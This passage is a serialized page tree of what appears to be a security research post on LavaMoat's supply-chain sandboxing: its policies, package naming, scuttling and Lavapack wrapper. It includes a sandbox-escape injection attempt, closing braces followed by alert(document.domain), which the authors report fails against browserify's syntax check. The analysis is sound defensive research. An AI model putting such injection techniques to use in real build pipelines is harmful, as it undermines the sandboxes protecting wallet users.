\"ethereum\"",{"type":21,"tag":153,"props":49657,"children":49658},{"style":192},[49659],{"type":26,"value":201},{"type":21,"tag":153,"props":49661,"children":49662},{"style":671},[49663],{"type":26,"value":49664}," \"write\"",{"type":21,"tag":153,"props":49666,"children":49667},{"style":160},[49668],{"type":26,"value":792},{"type":21,"tag":153,"props":49670,"children":49671},{"class":155,"line":795},[49672,49677,49681,49685],{"type":21,"tag":153,"props":49673,"children":49674},{"style":671},[49675],{"type":26,"value":49676},"        \"location.hostname\"",{"type":21,"tag":153,"props":49678,"children":49679},{"style":192},[49680],{"type":26,"value":201},{"type":21,"tag":153,"props":49682,"children":49683},{"style":170},[49684],{"type":26,"value":15187},{"type":21,"tag":153,"props":49686,"children":49687},{"style":160},[49688],{"type":26,"value":792},{"type":21,"tag":153,"props":49690,"children":49691},{"class":155,"line":808},[49692,49696,49700,49704],{"type":21,"tag":153,"props":49693,"children":49694},{"style":671},[49695],{"type":26,"value":39875},{"type":21,"tag":153,"props":49697,"children":49698},{"style":192},[49699],{"type":26,"value":201},{"type":21,"tag":153,"props":49701,"children":49702},{"style":170},[49703],{"type":26,"value":15187},{"type":21,"tag":153,"props":49705,"children":49706},{"style":160},[49707],{"type":26,"value":792},{"type":21,"tag":153,"props":49709,"children":49710},{"class":155,"line":820},[49711,49716,49720],{"type":21,"tag":153,"props":49712,"children":49713},{"style":671},[49714],{"type":26,"value":49715},"        \"web3\"",{"type":21,"tag":153,"props":49717,"children":49718},{"style":192},[49719],{"type":26,"value":201},{"type":21,"tag":153,"props":49721,"children":49722},{"style":170},[49723],{"type":26,"value":48838},{"type":21,"tag":153,"props":49725,"children":49726},{"class":155,"line":842},[49727],{"type":21,"tag":153,"props":49728,"children":49729},{"style":160},[49730],{"type":26,"value":39892},{"type":21,"tag":153,"props":49732,"children":49733},{"class":155,"line":3204},[49734,49738,49742],{"type":21,"tag":153,"props":49735,"children":49736},{"style":671},[49737],{"type":26,"value":39900},{"type":21,"tag":153,"props":49739,"children":49740},{"style":192},[49741],{"type":26,"value":201},{"type":21,"tag":153,"props":49743,"children":49744},{"style":160},[49745],{"type":26,"value":236},{"type":21,"tag":153,"props":49747,"children":49748},{"class":155,"line":3230},[49749,49754,49758,49762],{"type":21,"tag":153,"props":49750,"children":49751},{"style":671},[49752],{"type":26,"value":49753},"        \"@metamask/object-multiplex\"",{"type":21,"tag":153,"props":49755,"children":49756},{"style":192},[49757],{"type":26,"value":201},{"type":21,"tag":153,"props":49759,"children":49760},{"style":170},[49761],{"type":26,"value":15187},{"type":21,"tag":153,"props":49763,"children":49764},{"style":160},[49765],{"type":26,"value":792},{"type":21,"tag":153,"props":49767,"children":49768},{"class":155,"line":3239},[49769,49774,49778],{"type":21,"tag":153,"props":49770,"children":49771},{"style":671},[49772],{"type":26,"value":49773},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":21,"tag":153,"props":49775,"children":49776},{"style":192},[49777],{"type":26,"value":201},{"type":21,"tag":153,"props":49779,"children":49780},{"style":170},[49781],{"type":26,"value":48838},{"type":21,"tag":22,"props":49783,"children":49784},{},[49785,49786,49791,49793,49798,49800,49806],{"type":26,"value":19311},{"type":21,"tag":78,"props":49787,"children":49789},{"className":49788},[],[49790],{"type":26,"value":39965},{"type":26,"value":49792}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":21,"tag":78,"props":49794,"children":49796},{"className":49795},[],[49797],{"type":26,"value":39973},{"type":26,"value":49799}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":21,"tag":78,"props":49801,"children":49803},{"className":49802},[],[49804],{"type":26,"value":49805},"@metamask/providers",{"type":26,"value":49807}," interacts with other packages.",{"type":21,"tag":22,"props":49809,"children":49810},{},[49811,49813,49819],{"type":26,"value":49812},"To enforce these policies, LavaMoat uses ",{"type":21,"tag":78,"props":49814,"children":49816},{"className":49815},[],[49817],{"type":26,"value":49818},"lavapack",{"type":26,"value":49820},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":21,"tag":21591,"props":49822,"children":49824},{"id":49823},"npm-anti-hijacking",[49825],{"type":26,"value":49441},{"type":21,"tag":22,"props":49827,"children":49828},{},[49829],{"type":26,"value":49830},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":21,"tag":22,"props":49832,"children":49833},{},[49834,49836,49843],{"type":26,"value":49835},"Instead, Lavamoat looks at how each package is connected by ",{"type":21,"tag":29,"props":49837,"children":49840},{"href":49838,"rel":49839},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[33],[49841],{"type":26,"value":49842},"walking the modules",{"type":26,"value":49844}," in a project's dependency tree, thus generating a unique name for each package.",{"type":21,"tag":21591,"props":49846,"children":49848},{"id":49847},"scuttling",[49849],{"type":26,"value":49446},{"type":21,"tag":22,"props":49851,"children":49852},{},[49853,49855,49861],{"type":26,"value":49854},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":21,"tag":78,"props":49856,"children":49858},{"className":49857},[],[49859],{"type":26,"value":49860},"GlobalThis",{"type":26,"value":49862}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":21,"tag":22,"props":49864,"children":49865},{},[49866,49868,49875],{"type":26,"value":49867},"For example, ",{"type":21,"tag":29,"props":49869,"children":49872},{"href":49870,"rel":49871},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[33],[49873],{"type":26,"value":49874},"here",{"type":26,"value":49876}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":21,"tag":143,"props":49878,"children":49880},{"className":34058,"code":49879,"language":34060,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[49881],{"type":21,"tag":78,"props":49882,"children":49883},{"__ignoreMap":7},[49884,49913,49963,50022,50029,50101],{"type":21,"tag":153,"props":49885,"children":49886},{"class":155,"line":156},[49887,49891,49895,49900,49904,49909],{"type":21,"tag":153,"props":49888,"children":49889},{"style":1751},[49890],{"type":26,"value":2434},{"type":21,"tag":153,"props":49892,"children":49893},{"style":160},[49894],{"type":26,"value":5820},{"type":21,"tag":153,"props":49896,"children":49897},{"style":192},[49898],{"type":26,"value":49899},"scuttleOpts",{"type":21,"tag":153,"props":49901,"children":49902},{"style":160},[49903],{"type":26,"value":355},{"type":21,"tag":153,"props":49905,"children":49906},{"style":192},[49907],{"type":26,"value":49908},"enabled",{"type":21,"tag":153,"props":49910,"children":49911},{"style":160},[49912],{"type":26,"value":2659},{"type":21,"tag":153,"props":49914,"children":49915},{"class":155,"line":166},[49916,49920,49924,49928,49933,49937,49942,49946,49950,49954,49959],{"type":21,"tag":153,"props":49917,"children":49918},{"style":1751},[49919],{"type":26,"value":41978},{"type":21,"tag":153,"props":49921,"children":49922},{"style":160},[49923],{"type":26,"value":5820},{"type":21,"tag":153,"props":49925,"children":49926},{"style":198},[49927],{"type":26,"value":23315},{"type":21,"tag":153,"props":49929,"children":49930},{"style":192},[49931],{"type":26,"value":49932},"Array",{"type":21,"tag":153,"props":49934,"children":49935},{"style":160},[49936],{"type":26,"value":355},{"type":21,"tag":153,"props":49938,"children":49939},{"style":181},[49940],{"type":26,"value":49941},"isArray",{"type":21,"tag":153,"props":49943,"children":49944},{"style":160},[49945],{"type":26,"value":189},{"type":21,"tag":153,"props":49947,"children":49948},{"style":192},[49949],{"type":26,"value":49899},{"type":21,"tag":153,"props":49951,"children":49952},{"style":160},[49953],{"type":26,"value":355},{"type":21,"tag":153,"props":49955,"children":49956},{"style":192},[49957],{"type":26,"value":49958},"exceptions",{"type":21,"tag":153,"props":49960,"children":49961},{"style":160},[49962],{"type":26,"value":37887},{"type":21,"tag":153,"props":49964,"children":49965},{"class":155,"line":225},[49966,49971,49975,49979,49983,49988,49992,49996,50001,50005,50009,50013,50018],{"type":21,"tag":153,"props":49967,"children":49968},{"style":1751},[49969],{"type":26,"value":49970},"        throw",{"type":21,"tag":153,"props":49972,"children":49973},{"style":170},[49974],{"type":26,"value":34627},{"type":21,"tag":153,"props":49976,"children":49977},{"style":181},[49978],{"type":26,"value":42975},{"type":21,"tag":153,"props":49980,"children":49981},{"style":160},[49982],{"type":26,"value":189},{"type":21,"tag":153,"props":49984,"children":49985},{"style":671},[49986],{"type":26,"value":49987},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":21,"tag":153,"props":49989,"children":49990},{"style":170},[49991],{"type":26,"value":36802},{"type":21,"tag":153,"props":49993,"children":49994},{"style":170},[49995],{"type":26,"value":34098},{"type":21,"tag":153,"props":49997,"children":49998},{"style":192},[49999],{"type":26,"value":50000}," scuttleOpts",{"type":21,"tag":153,"props":50002,"children":50003},{"style":198},[50004],{"type":26,"value":355},{"type":21,"tag":153,"props":50006,"children":50007},{"style":192},[50008],{"type":26,"value":49958},{"type":21,"tag":153,"props":50010,"children":50011},{"style":170},[50012],{"type":26,"value":36834},{"type":21,"tag":153,"props":50014,"children":50015},{"style":671},[50016],{"type":26,"value":50017},"\"`",{"type":21,"tag":153,"props":50019,"children":50020},{"style":160},[50021],{"type":26,"value":5909},{"type":21,"tag":153,"props":50023,"children":50024},{"class":155,"line":239},[50025],{"type":21,"tag":153,"props":50026,"children":50027},{"style":160},[50028],{"type":26,"value":15381},{"type":21,"tag":153,"props":50030,"children":50031},{"class":155,"line":382},[50032,50037,50041,50046,50050,50055,50059,50064,50068,50073,50077,50081,50085,50089,50093,50097],{"type":21,"tag":153,"props":50033,"children":50034},{"style":192},[50035],{"type":26,"value":50036},"      scuttleOpts",{"type":21,"tag":153,"props":50038,"children":50039},{"style":160},[50040],{"type":26,"value":355},{"type":21,"tag":153,"props":50042,"children":50043},{"style":181},[50044],{"type":26,"value":50045},"scuttlerFunc",{"type":21,"tag":153,"props":50047,"children":50048},{"style":160},[50049],{"type":26,"value":189},{"type":21,"tag":153,"props":50051,"children":50052},{"style":192},[50053],{"type":26,"value":50054},"globalRef",{"type":21,"tag":153,"props":50056,"children":50057},{"style":160},[50058],{"type":26,"value":1670},{"type":21,"tag":153,"props":50060,"children":50061},{"style":192},[50062],{"type":26,"value":50063},"realm",{"type":21,"tag":153,"props":50065,"children":50066},{"style":170},[50067],{"type":26,"value":30447},{"type":21,"tag":153,"props":50069,"children":50070},{"style":181},[50071],{"type":26,"value":50072}," performScuttleGlobalThis",{"type":21,"tag":153,"props":50074,"children":50075},{"style":160},[50076],{"type":26,"value":189},{"type":21,"tag":153,"props":50078,"children":50079},{"style":192},[50080],{"type":26,"value":50063},{"type":21,"tag":153,"props":50082,"children":50083},{"style":160},[50084],{"type":26,"value":1670},{"type":21,"tag":153,"props":50086,"children":50087},{"style":192},[50088],{"type":26,"value":49899},{"type":21,"tag":153,"props":50090,"children":50091},{"style":160},[50092],{"type":26,"value":355},{"type":21,"tag":153,"props":50094,"children":50095},{"style":192},[50096],{"type":26,"value":49958},{"type":21,"tag":153,"props":50098,"children":50099},{"style":160},[50100],{"type":26,"value":2006},{"type":21,"tag":153,"props":50102,"children":50103},{"class":155,"line":501},[50104],{"type":21,"tag":153,"props":50105,"children":50106},{"style":160},[50107],{"type":26,"value":539},{"type":21,"tag":22,"props":50109,"children":50110},{},[50111,50113,50119,50121,50127],{"type":26,"value":50112},"Subsequently, the code defines a ",{"type":21,"tag":29,"props":50114,"children":50117},{"href":50115,"rel":50116},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[33],[50118],{"type":26,"value":34072},{"type":26,"value":50120}," called ",{"type":21,"tag":78,"props":50122,"children":50124},{"className":50123},[],[50125],{"type":26,"value":50126},"generateScuttleOpts",{"type":26,"value":50128}," that creates and returns an options object.",{"type":21,"tag":22,"props":50130,"children":50131},{},[50132,50134,50140,50141,50147,50149,50154,50156,50162],{"type":26,"value":50133},"Finally, the ",{"type":21,"tag":78,"props":50135,"children":50137},{"className":50136},[],[50138],{"type":26,"value":50139},"performScuttleGlobalThis",{"type":26,"value":9187},{"type":21,"tag":29,"props":50142,"children":50145},{"href":50143,"rel":50144},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[33],[50146],{"type":26,"value":34072},{"type":26,"value":50148}," modifies the properties of the global object (",{"type":21,"tag":78,"props":50150,"children":50152},{"className":50151},[],[50153],{"type":26,"value":50054},{"type":26,"value":50155},"). It starts by creating an array ",{"type":21,"tag":78,"props":50157,"children":50159},{"className":50158},[],[50160],{"type":26,"value":50161},"props",{"type":26,"value":50163},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":21,"tag":66,"props":50165,"children":50167},{"id":50166},"hacking-webpacks",[50168],{"type":26,"value":50169},"Hacking Webpacks",{"type":21,"tag":22,"props":50171,"children":50172},{},[50173],{"type":26,"value":50174},"Now let's get to the fun stuff.",{"type":21,"tag":22,"props":50176,"children":50177},{},[50178],{"type":26,"value":50179},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":21,"tag":143,"props":50181,"children":50183},{"className":34058,"code":50182,"language":34060,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[50184],{"type":21,"tag":78,"props":50185,"children":50186},{"__ignoreMap":7},[50187,50239,50251,50271,50288,50296,50304,50312,50320,50341,50349,50357,50365,50372,50379,50386],{"type":21,"tag":153,"props":50188,"children":50189},{"class":155,"line":156},[50190,50194,50199,50203,50208,50212,50217,50221,50226,50230,50235],{"type":21,"tag":153,"props":50191,"children":50192},{"style":170},[50193],{"type":26,"value":38881},{"type":21,"tag":153,"props":50195,"children":50196},{"style":192},[50197],{"type":26,"value":50198}," filename",{"type":21,"tag":153,"props":50200,"children":50201},{"style":198},[50202],{"type":26,"value":255},{"type":21,"tag":153,"props":50204,"children":50205},{"style":181},[50206],{"type":26,"value":50207}," encodeURI",{"type":21,"tag":153,"props":50209,"children":50210},{"style":160},[50211],{"type":26,"value":189},{"type":21,"tag":153,"props":50213,"children":50214},{"style":181},[50215],{"type":26,"value":50216},"String",{"type":21,"tag":153,"props":50218,"children":50219},{"style":160},[50220],{"type":26,"value":189},{"type":21,"tag":153,"props":50222,"children":50223},{"style":192},[50224],{"type":26,"value":50225},"moduleData",{"type":21,"tag":153,"props":50227,"children":50228},{"style":160},[50229],{"type":26,"value":355},{"type":21,"tag":153,"props":50231,"children":50232},{"style":192},[50233],{"type":26,"value":50234},"file",{"type":21,"tag":153,"props":50236,"children":50237},{"style":160},[50238],{"type":26,"value":2006},{"type":21,"tag":153,"props":50240,"children":50241},{"class":155,"line":166},[50242,50246],{"type":21,"tag":153,"props":50243,"children":50244},{"style":170},[50245],{"type":26,"value":10582},{"type":21,"tag":153,"props":50247,"children":50248},{"style":192},[50249],{"type":26,"value":50250}," moduleWrapperSource\n",{"type":21,"tag":153,"props":50252,"children":50253},{"class":155,"line":225},[50254,50258,50262,50267],{"type":21,"tag":153,"props":50255,"children":50256},{"style":1751},[50257],{"type":26,"value":34089},{"type":21,"tag":153,"props":50259,"children":50260},{"style":160},[50261],{"type":26,"value":5820},{"type":21,"tag":153,"props":50263,"children":50264},{"style":192},[50265],{"type":26,"value":50266},"bundleWithPrecompiledModules",{"type":21,"tag":153,"props":50268,"children":50269},{"style":160},[50270],{"type":26,"value":2659},{"type":21,"tag":153,"props":50272,"children":50273},{"class":155,"line":239},[50274,50279,50283],{"type":21,"tag":153,"props":50275,"children":50276},{"style":192},[50277],{"type":26,"value":50278},"    moduleWrapperSource",{"type":21,"tag":153,"props":50280,"children":50281},{"style":198},[50282],{"type":26,"value":255},{"type":21,"tag":153,"props":50284,"children":50285},{"style":671},[50286],{"type":26,"value":50287}," `function(){\n",{"type":21,"tag":153,"props":50289,"children":50290},{"class":155,"line":382},[50291],{"type":21,"tag":153,"props":50292,"children":50293},{"style":671},[50294],{"type":26,"value":50295},"      with (this.scopeTerminator) {\n",{"type":21,"tag":153,"props":50297,"children":50298},{"class":155,"line":501},[50299],{"type":21,"tag":153,"props":50300,"children":50301},{"style":671},[50302],{"type":26,"value":50303},"        with (this.globalThis) {\n",{"type":21,"tag":153,"props":50305,"children":50306},{"class":155,"line":533},[50307],{"type":21,"tag":153,"props":50308,"children":50309},{"style":671},[50310],{"type":26,"value":50311},"          return function() {\n",{"type":21,"tag":153,"props":50313,"children":50314},{"class":155,"line":542},[50315],{"type":21,"tag":153,"props":50316,"children":50317},{"style":671},[50318],{"type":26,"value":50319},"            'use strict';\n",{"type":21,"tag":153,"props":50321,"children":50322},{"class":155,"line":762},[50323,50328,50332,50337],{"type":21,"tag":153,"props":50324,"children":50325},{"style":671},[50326],{"type":26,"value":50327},"            // source: ",{"type":21,"tag":153,"props":50329,"children":50330},{"style":170},[50331],{"type":26,"value":36802},{"type":21,"tag":153,"props":50333,"children":50334},{"style":192},[50335],{"type":26,"value":50336},"filename",{"type":21,"tag":153,"props":50338,"children":50339},{"style":170},[50340],{"type":26,"value":548},{"type":21,"tag":153,"props":50342,"children":50343},{"class":155,"line":776},[50344],{"type":21,"tag":153,"props":50345,"children":50346},{"style":671},[50347],{"type":26,"value":50348},"            return function (require, module, exports) {\n",{"type":21,"tag":153,"props":50350,"children":50351},{"class":155,"line":795},[50352],{"type":21,"tag":153,"props":50353,"children":50354},{"style":671},[50355],{"type":26,"value":50356},"              __MODULE_CONTENT__\n",{"type":21,"tag":153,"props":50358,"children":50359},{"class":155,"line":808},[50360],{"type":21,"tag":153,"props":50361,"children":50362},{"style":671},[50363],{"type":26,"value":50364},"            };\n",{"type":21,"tag":153,"props":50366,"children":50367},{"class":155,"line":820},[50368],{"type":21,"tag":153,"props":50369,"children":50370},{"style":671},[50371],{"type":26,"value":11428},{"type":21,"tag":153,"props":50373,"children":50374},{"class":155,"line":842},[50375],{"type":21,"tag":153,"props":50376,"children":50377},{"style":671},[50378],{"type":26,"value":2765},{"type":21,"tag":153,"props":50380,"children":50381},{"class":155,"line":3204},[50382],{"type":21,"tag":153,"props":50383,"children":50384},{"style":671},[50385],{"type":26,"value":15381},{"type":21,"tag":153,"props":50387,"children":50388},{"class":155,"line":3230},[50389],{"type":21,"tag":153,"props":50390,"children":50391},{"style":671},[50392],{"type":26,"value":50393},"    }`\n",{"type":21,"tag":22,"props":50395,"children":50396},{},[50397,50399,50405,50407,50413],{"type":26,"value":50398},"Lavapack uses ",{"type":21,"tag":78,"props":50400,"children":50402},{"className":50401},[],[50403],{"type":26,"value":50404},"with()",{"type":26,"value":50406}," proxies to restrict the objects accessible by the module, and ",{"type":21,"tag":78,"props":50408,"children":50410},{"className":50409},[],[50411],{"type":26,"value":50412},"__MODULE_CONTENT__",{"type":26,"value":50414}," is replaced by the content of a file required by the project being built.",{"type":21,"tag":114,"props":50416,"children":50418},{"id":50417},"injection-not-so-simple",[50419],{"type":26,"value":50420},"Injection? Not So Simple",{"type":21,"tag":22,"props":50422,"children":50423},{},[50424,50426,50431],{"type":26,"value":50425},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":21,"tag":78,"props":50427,"children":50429},{"className":50428},[],[50430],{"type":26,"value":15368},{"type":26,"value":50432}," environment:",{"type":21,"tag":143,"props":50434,"children":50436},{"className":34058,"code":50435,"language":34060,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[50437],{"type":21,"tag":78,"props":50438,"children":50439},{"__ignoreMap":7},[50440,50453,50465,50477,50489,50496],{"type":21,"tag":153,"props":50441,"children":50442},{"class":155,"line":156},[50443,50448],{"type":21,"tag":153,"props":50444,"children":50445},{"style":160},[50446],{"type":26,"value":50447},"   } ",{"type":21,"tag":153,"props":50449,"children":50450},{"style":3050},[50451],{"type":26,"value":50452},"// end function 1\n",{"type":21,"tag":153,"props":50454,"children":50455},{"class":155,"line":166},[50456,50460],{"type":21,"tag":153,"props":50457,"children":50458},{"style":160},[50459],{"type":26,"value":34163},{"type":21,"tag":153,"props":50461,"children":50462},{"style":3050},[50463],{"type":26,"value":50464},"// end function 2\n",{"type":21,"tag":153,"props":50466,"children":50467},{"class":155,"line":225},[50468,50472],{"type":21,"tag":153,"props":50469,"children":50470},{"style":160},[50471],{"type":26,"value":38895},{"type":21,"tag":153,"props":50473,"children":50474},{"style":3050},[50475],{"type":26,"value":50476},"// end with 1\n",{"type":21,"tag":153,"props":50478,"children":50479},{"class":155,"line":239},[50480,50484],{"type":21,"tag":153,"props":50481,"children":50482},{"style":160},[50483],{"type":26,"value":49163},{"type":21,"tag":153,"props":50485,"children":50486},{"style":3050},[50487],{"type":26,"value":50488},"// end with 2\n",{"type":21,"tag":153,"props":50490,"children":50491},{"class":155,"line":382},[50492],{"type":21,"tag":153,"props":50493,"children":50494},{"emptyLinePlaceholder":16},[50495],{"type":26,"value":759},{"type":21,"tag":153,"props":50497,"children":50498},{"class":155,"line":501},[50499,50503,50507,50511,50515,50519],{"type":21,"tag":153,"props":50500,"children":50501},{"style":181},[50502],{"type":26,"value":35391},{"type":21,"tag":153,"props":50504,"children":50505},{"style":160},[50506],{"type":26,"value":189},{"type":21,"tag":153,"props":50508,"children":50509},{"style":192},[50510],{"type":26,"value":35401},{"type":21,"tag":153,"props":50512,"children":50513},{"style":160},[50514],{"type":26,"value":355},{"type":21,"tag":153,"props":50516,"children":50517},{"style":192},[50518],{"type":26,"value":35411},{"type":21,"tag":153,"props":50520,"children":50521},{"style":160},[50522],{"type":26,"value":5909},{"type":21,"tag":22,"props":50524,"children":50525},{},[50526,50528,50534,50536,50543],{"type":26,"value":50527},"However, when we tried to bundle it, a ",{"type":21,"tag":78,"props":50529,"children":50531},{"className":50530},[],[50532],{"type":26,"value":50533},"ParseError",{"type":26,"value":50535}," was thrown. This is because Lavapack is a plugin of ",{"type":21,"tag":29,"props":50537,"children":50540},{"href":50538,"rel":50539},"https://github.com/browserify/browserify",[33],[50541],{"type":26,"value":50542},"browserify",{"type":26,"value":50544},", which has a syntax check before replacing the code.",{"type":21,"tag":22,"props":50546,"children":50547},{},[50548,50550,50556,50558,50564,50566,50572,50574,50579],{"type":26,"value":50549},"Looking deeper into browserify, we find it has a ",{"type":21,"tag":78,"props":50551,"children":50553},{"className":50552},[],[50554],{"type":26,"value":50555},"syntax",{"type":26,"value":50557}," stage on it's pipeline, and uses the ",{"type":21,"tag":78,"props":50559,"children":50561},{"className":50560},[],[50562],{"type":26,"value":50563},"syntax-error",{"type":26,"value":50565}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":21,"tag":78,"props":50567,"children":50569},{"className":50568},[],[50570],{"type":26,"value":50571},"pack",{"type":26,"value":50573}," stage on browserify pipeline, which comes after the ",{"type":21,"tag":78,"props":50575,"children":50577},{"className":50576},[],[50578],{"type":26,"value":50555},{"type":26,"value":50580},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":21,"tag":22,"props":50582,"children":50583},{},[50584],{"type":21,"tag":3644,"props":50585,"children":50588},{"alt":50586,"src":50587},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":21,"tag":22,"props":50590,"children":50591},{},[50592,50593,50598,50600,50605],{"type":26,"value":19311},{"type":21,"tag":78,"props":50594,"children":50596},{"className":50595},[],[50597],{"type":26,"value":50563},{"type":26,"value":50599}," package performs a syntax check by using  ",{"type":21,"tag":78,"props":50601,"children":50603},{"className":50602},[],[50604],{"type":26,"value":40241},{"type":26,"value":50606}," with function hoisting:",{"type":21,"tag":143,"props":50608,"children":50610},{"className":34058,"code":50609,"language":34060,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[50611],{"type":21,"tag":78,"props":50612,"children":50613},{"__ignoreMap":7},[50614,50626,50676,50687,50694,50715,50756,50816,50857],{"type":21,"tag":153,"props":50615,"children":50616},{"class":155,"line":156},[50617,50622],{"type":21,"tag":153,"props":50618,"children":50619},{"style":1751},[50620],{"type":26,"value":50621},"try",{"type":21,"tag":153,"props":50623,"children":50624},{"style":160},[50625],{"type":26,"value":236},{"type":21,"tag":153,"props":50627,"children":50628},{"class":155,"line":166},[50629,50634,50638,50643,50647,50652,50656,50661,50667,50672],{"type":21,"tag":153,"props":50630,"children":50631},{"style":181},[50632],{"type":26,"value":50633},"    eval",{"type":21,"tag":153,"props":50635,"children":50636},{"style":160},[50637],{"type":26,"value":189},{"type":21,"tag":153,"props":50639,"children":50640},{"style":671},[50641],{"type":26,"value":50642},"'throw \"STOP\"; (function () { '",{"type":21,"tag":153,"props":50644,"children":50645},{"style":198},[50646],{"type":26,"value":5527},{"type":21,"tag":153,"props":50648,"children":50649},{"style":192},[50650],{"type":26,"value":50651}," src",{"type":21,"tag":153,"props":50653,"children":50654},{"style":198},[50655],{"type":26,"value":5527},{"type":21,"tag":153,"props":50657,"children":50658},{"style":671},[50659],{"type":26,"value":50660}," '",{"type":21,"tag":153,"props":50662,"children":50664},{"style":50663},"--shiki-default:#D7BA7D",[50665],{"type":26,"value":50666},"\\n",{"type":21,"tag":153,"props":50668,"children":50669},{"style":671},[50670],{"type":26,"value":50671},"})()'",{"type":21,"tag":153,"props":50673,"children":50674},{"style":160},[50675],{"type":26,"value":530},{"type":21,"tag":153,"props":50677,"children":50678},{"class":155,"line":225},[50679,50683],{"type":21,"tag":153,"props":50680,"children":50681},{"style":1751},[50682],{"type":26,"value":19687},{"type":21,"tag":153,"props":50684,"children":50685},{"style":160},[50686],{"type":26,"value":1759},{"type":21,"tag":153,"props":50688,"children":50689},{"class":155,"line":239},[50690],{"type":21,"tag":153,"props":50691,"children":50692},{"style":160},[50693],{"type":26,"value":548},{"type":21,"tag":153,"props":50695,"children":50696},{"class":155,"line":382},[50697,50702,50706,50711],{"type":21,"tag":153,"props":50698,"children":50699},{"style":1751},[50700],{"type":26,"value":50701},"catch",{"type":21,"tag":153,"props":50703,"children":50704},{"style":160},[50705],{"type":26,"value":5820},{"type":21,"tag":153,"props":50707,"children":50708},{"style":192},[50709],{"type":26,"value":50710},"err",{"type":21,"tag":153,"props":50712,"children":50713},{"style":160},[50714],{"type":26,"value":2659},{"type":21,"tag":153,"props":50716,"children":50717},{"class":155,"line":501},[50718,50722,50726,50730,50734,50739,50743,50748,50752],{"type":21,"tag":153,"props":50719,"children":50720},{"style":1751},[50721],{"type":26,"value":2434},{"type":21,"tag":153,"props":50723,"children":50724},{"style":160},[50725],{"type":26,"value":5820},{"type":21,"tag":153,"props":50727,"children":50728},{"style":192},[50729],{"type":26,"value":50710},{"type":21,"tag":153,"props":50731,"children":50732},{"style":198},[50733],{"type":26,"value":34117},{"type":21,"tag":153,"props":50735,"children":50736},{"style":671},[50737],{"type":26,"value":50738}," 'STOP'",{"type":21,"tag":153,"props":50740,"children":50741},{"style":160},[50742],{"type":26,"value":2362},{"type":21,"tag":153,"props":50744,"children":50745},{"style":1751},[50746],{"type":26,"value":50747},"return",{"type":21,"tag":153,"props":50749,"children":50750},{"style":170},[50751],{"type":26,"value":42029},{"type":21,"tag":153,"props":50753,"children":50754},{"style":160},[50755],{"type":26,"value":1759},{"type":21,"tag":153,"props":50757,"children":50758},{"class":155,"line":533},[50759,50763,50767,50771,50775,50780,50784,50789,50794,50799,50803,50807,50812],{"type":21,"tag":153,"props":50760,"children":50761},{"style":1751},[50762],{"type":26,"value":2434},{"type":21,"tag":153,"props":50764,"children":50765},{"style":160},[50766],{"type":26,"value":5820},{"type":21,"tag":153,"props":50768,"children":50769},{"style":192},[50770],{"type":26,"value":50710},{"type":21,"tag":153,"props":50772,"children":50773},{"style":160},[50774],{"type":26,"value":355},{"type":21,"tag":153,"props":50776,"children":50777},{"style":192},[50778],{"type":26,"value":50779},"constructor",{"type":21,"tag":153,"props":50781,"children":50782},{"style":160},[50783],{"type":26,"value":355},{"type":21,"tag":153,"props":50785,"children":50786},{"style":192},[50787],{"type":26,"value":50788},"name",{"type":21,"tag":153,"props":50790,"children":50791},{"style":198},[50792],{"type":26,"value":50793}," !==",{"type":21,"tag":153,"props":50795,"children":50796},{"style":671},[50797],{"type":26,"value":50798}," 'SyntaxError'",{"type":21,"tag":153,"props":50800,"children":50801},{"style":160},[50802],{"type":26,"value":2362},{"type":21,"tag":153,"props":50804,"children":50805},{"style":1751},[50806],{"type":26,"value":50747},{"type":21,"tag":153,"props":50808,"children":50809},{"style":192},[50810],{"type":26,"value":50811}," 